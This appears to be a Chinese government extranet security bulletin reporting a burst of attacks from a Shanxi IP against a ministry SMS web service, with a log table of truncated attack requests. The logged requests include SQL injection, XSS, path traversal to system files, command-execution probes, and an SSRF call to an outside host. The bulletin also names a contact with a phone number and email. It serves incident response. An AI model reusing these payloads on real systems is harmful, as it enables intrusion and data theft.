政务外网网络与信息安全通报

事件通报

（2024 年第 1039 期 总第 3534 期）

国家电子政务外网管理中心办公室　　2024 年 12 月 20 日

关于山西电子政务外网所属 IP 对外发起攻击的紧急通报

经有关部门监测，发现山西电子政务外网所属 IP 对外发起攻击。现将有关情况报告如下：

2024 年 12 月 20 日 10 时 44 分至 11 时 22 分，山西电子政务外网所属 IP（59.195.1.98）主动向某部委政务外网所属系统（http://59.255.14.48:8090）实施了 2,156 次攻击，攻击类型为 SQL 注入、暴力破解、命令执行等（如下图）。

时间	类型	目的主机	摘要	源IP	端口	状态	数量
12-20 11:22	SQL注入	59.255.14.48:8090	POST /SMSWebService/SMS.asmx/SendSMS?SendContent=test&SendTime=&TEL=18382803437&UserName=dubanxitongadmin' UNION...	59.195.1.98	8090	500	148
12-20 11:22	SQL注入-select	59.255.14.48:8090	POST /SMSWebService/SMS.asmx/SendSMS?SendContent=test&SendTime=&TEL=18382803437&UserName=dubanxitongadmin' UNION...	59.195.1.98	8090	500	75
12-20 11:22	暴力破解-弱口令	59.255.14.48:8090	POST /SMSWebService/SMS.asmx/SendSMS?SendContent=test&SendTime=&TEL=18382803437&UserName=dubanxitongadmin' or '2'='2...	59.195.1.98	8090	200	504
12-20 11:22	SQL注入-or	59.255.14.48:8090	POST /SMSWebService/SMS.asmx/SendSMS?SendContent=test&SendTime=&TEL=18382803437&UserName=dubanxitonga'or' 4=4-- &Us...	59.195.1.98	8090	500	257
12-20 11:00	SQL注入	59.255.14.48:8090	POST /SMSWebService/SMS.asmx/SendSMS?SendContent=test&SendTime=&TEL=18382803437&UserName=dubanxitong'and/**/convert...	59.195.1.98	8090	500	4
12-20 10:58	SQL注入-version	59.255.14.48:8090	POST /SMSWebService/SMS.asmx/SendSMS?SendContent=test&SendTime=&TEL=18382803437&UserName=dubanxitong'convert(int,@...	59.195.1.98	8090	500	7
12-20 10:55	SQL注入-and	59.255.14.48:8090	POST /SMSWebService/SMS.asmx/SendSMS?SendContent=test&SendTime=&TEL=18382803437&UserName=dubanxitong' and 1=conver...	59.195.1.98	8090	500	2
12-20 10:52	文件越权	59.255.14.48:8090	POST /SMSWebService/SMS.asmx/SendSMS?FYoe=6922 AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert("XSS")</script>',table_nam...	59.195.1.98	8090	499	1
12-20 10:52	跨站脚本	59.255.14.48:8090	POST /SMSWebService/SMS.asmx/SendSMS?FYoe=6922 AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert("XSS")</script>',table_nam...	59.195.1.98	8090	499	1
12-20 10:52	信息泄漏-file	59.255.14.48:8090	POST /SMSWebService/SMS.asmx/SendSMS?FYoe=6922 AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert("XSS")</script>',table_nam...	59.195.1.98	8090	499	1
12-20 10:52	SQL注入-select	59.255.14.48:8090	POST /SMSWebService/SMS.asmx/SendSMS?FYoe=6922 AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert("XSS")</script>',table_nam...	59.195.1.98	8090	499	1
12-20 10:52	跨站脚本-alert	59.255.14.48:8090	POST /SMSWebService/SMS.asmx/SendSMS?FYoe=6922 AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert("XSS")</script>',table_nam...	59.195.1.98	8090	499	1
12-20 10:50	SQL注入	59.255.14.48:8090	POST /SMSWebService/SMS.asmx/SendSMS?SendContent=test&SendTime=&TEL=18382803437&UserName=dubanxitong'and/**/convert...	59.195.1.98	8090	500	28
12-20 10:46	文件越权-passwd	59.255.14.48:8090	/SMSWebService/assets/file:///../../../../../../etc/passwd	59.195.1.98	8090	404	1
12-20 10:46	命令执行-java-struts	59.255.14.48:8090	POST /SMSWebService/SMS.asmx/SendSMS?redirect:http://u6a.ntk5&SendContent=test&SendTime=&TEL=18382803437&UserName=du...	59.195.1.98	8090	200	6
12-20 10:46	命令执行-php-unserialize	59.255.14.48:8090	/SMSWebService/ajax/api/hook/decodeArguments?arguments=O:12:"vB_dB_Result":2:{s:5:""db";O:17:"vB_Database_MySQL":1:{s:9:"functi...	59.195.1.98	8090	499	1
12-20 10:45	服务器端请求伪造-vm...	59.255.14.48:8090	/SMSWebService/proxy.stream?origin=http://47.109.58.47:8000/i/15a64a/cqt4/vw41/	59.195.1.98	8090	404	1
12-20 10:46	信息泄漏-d-link	59.255.14.48:8090	/SMSWebService/config/getuser?index=0	59.195.1.98	8090	404	1
12-20 10:46	命令执行-php	59.255.14.48:8090	POST /SMSWebService/?routestring=ajax/render/widget_php&widgetConfig[code]=print(md5(2065381623));exit;	59.195.1.98	8090	405	1
12-20 10:45	文件越权-phpmyadmin	59.255.14.48:8090	/SMSWebService/index.php?target=db_sql.php?/../../../../../../../../windows/win.ini	59.195.1.98	8090	404	1
12-20 10:45	命令执行-java-struts-of...	59.255.14.48:8090	POST /SMSWebService/webtools/control/xmlrpc?<?xml version="1.0"?><methodCall><methodName>200081246</methodName><params...	59.195.1.98	8090	404	2
12-20 10:45	SQL注入-select	59.255.14.48:8090	/SMSWebService/images/floorplans/plan?idx=1 UNION SELECT 'cugnl||'jahaj' FROM Preferences WHERE Key="WebUserName" --	59.195.1.98	8090	404	1
12-20 10:45	命令执行-php-dedecms	59.255.14.48:8090	/SMSWebService/tag_test_action.php?url=a&token=&partcode={dede:field name='source' runphp='yes'}echo md52027746138;{/dede:field}	59.195.1.98	8090	404	1

请山西电子政务外网运维单位立即对该 IP 进行封堵，并组织核查攻击原因，排除相关隐患。同时举一反三，检查其他设备是否存在类似情况，确保网络安全运行，并于 12 月 27 日之前将核查及整改结果反馈给我办。

联系人：田之泮（010）6855-8516　tzp@cegn.gov.cn

本件印 5 份，存 1 份。

报：周民同志

送：山西电子政务外网运维单位

抄：外网办主任、副主任